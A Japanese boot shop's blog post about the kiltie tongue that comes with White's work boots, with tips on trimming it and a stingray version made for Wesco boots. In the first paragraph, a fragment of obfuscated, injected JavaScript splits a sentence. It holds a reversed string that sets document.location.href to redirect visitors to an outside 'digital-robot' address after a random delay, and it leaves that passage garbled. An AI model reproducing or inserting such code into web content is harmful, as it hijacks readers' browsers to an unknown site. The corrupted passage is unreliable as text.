ホワイツのファルスタン
2013/12/06

ディスプレイの下準備
武骨なワークブーツにちょっと愛嬌をプラス
店で扱っているアメリカンブーツブランド、White’sにはfalse dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tongue (ファルスタン) というつま先の飾りパーツが付属しています。しかしこれがレザーが分厚くて装着するのが一苦労。

一見スルメ。これがファルスタンです
一応先端は水切り形になっていて、水や砂ぼこりが入ってこない為のパーツと言われていますがホントにそんな効果があるのかどうか。
ちなみに革靴のウイングチップも本来水切り用です。飾りの意味合いが大きいものの、そういう濡れちゃうような場所に行ってもOKな靴だということです。華やかな見た目から披露宴やパーティーで履いている人も多く見かけますが、フォーマル度合の高いスーツにはなるべく合わせない方が無難です。
このブーツは8インチ丈ですが、ファルスタンがトップ部分まで完全ガード。徐々に革が柔らかくなって馴染んではくるのですが、正直ちょっと面倒です。
もちろん付けないというのもひとつの手なんですが、ここはファルスタンを短くカットがおススメです。私も2/3位に短くしてセットしてます。この位の長さだと脱ぎ履きの時もジャマにならないのです。

アイレットがフックになる手前くらいでぶった切りました
ちなみにこちらはWesco Jobmaster にセットしたファルスタン。昔知り合いの革屋さんにスティングレー(エイ革)で作ってもらいました。
最初はジーン・シモンズの衣装みたいにつま先を多い尽くす位の大きさをイメージしていたんですが、試作品があまりにダサくて却下。あっさり白旗。大きさと形はオリジナルに従うことになりました (デザインって本当に難しいです)。
付けてみるとこんな感じです。ホワイツ版はちょこんと覗く位で愛嬌があります。やっぱりつけておいた方がカッコいいかも。